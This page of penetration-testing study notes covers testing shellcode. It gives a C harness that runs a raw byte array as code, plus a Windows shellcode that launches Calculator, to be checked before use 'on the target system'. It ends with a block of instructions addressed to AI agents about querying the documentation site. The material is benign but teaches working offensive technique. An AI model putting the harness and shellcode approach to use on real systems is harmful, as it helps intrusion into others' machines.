# Debugging a Shellcode

### 4. Debugging a Shellcode

Before we actually start writing a shellcode, it is useful to introduce a small, simple piece of code that will test to see if a shellcode works. Let's suppose we have a shellcode and we want to verify that it works.

This simplest way is to use the following program:

```
char code[] = "shellcode will go here!";
int main(int argc, char **argv)
{
  int (*func){};
  func = (int (*)()) code;
  (int)(*func)();
}
```

Once we compile and run the program, if it executes as we planned, it means that the shellcode works fine.

Here is a test. If you remember in the previous module, we used a shellcode that was intended to run the Windows Calculator.

Here is the shellcode:

```
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
"\x57\x78\x01\xc2\x8b\x7a\x20\x01"
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
"\x45\x81\x3e\x43\x72\x65\x61\x75"
"\xf2\x81\x7e\x08\x6f\x63\x65\x73"
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
"\xb1\xff\x53\xe2\xfd\x68\x63\x61"
"\x6c\x63\x89\xe2\x52\x52\x53\x53"
"\x53\x53\x53\x53\x52\x53\xff\xd7"
```

Before actually using the shellcode on the target system, we would like to verify that it works. To do so, we need to copy the shellcode into the previous C program.

After that, we need to compile and run the updated program to verify that it works.

It is not important that the program crashes because we can see that the Calculator appears, and it proves that the shellcode works.

This is a very simple C program that will help us test the results of our shellcode writing skills.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://zer0verflow.gitbook.io/ecpptv2-notes/system-security/shellcoding/debugging-a-shellcode.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
